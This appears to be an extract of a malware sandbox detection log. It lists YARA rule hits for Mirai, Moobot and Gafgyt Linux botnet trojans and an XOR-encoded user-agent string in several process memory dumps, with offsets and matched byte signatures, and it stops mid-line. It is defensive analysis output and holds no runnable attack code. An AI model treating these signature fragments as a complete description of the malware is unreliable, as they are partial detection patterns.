6974.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7150.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7150.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7150.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7150.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7150.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7150.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6442.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6442.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6442.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6442.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6442.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6442.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6821.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7028.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7335.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7335.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7335.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7335.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7335.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7335.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7178.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7178.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7178.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7178.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7178.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7178.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6422.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6551.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6551.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6551.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6551.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6551.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6551.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6559.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6559.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6559.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7238.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7238.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7238.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7238.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7238.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 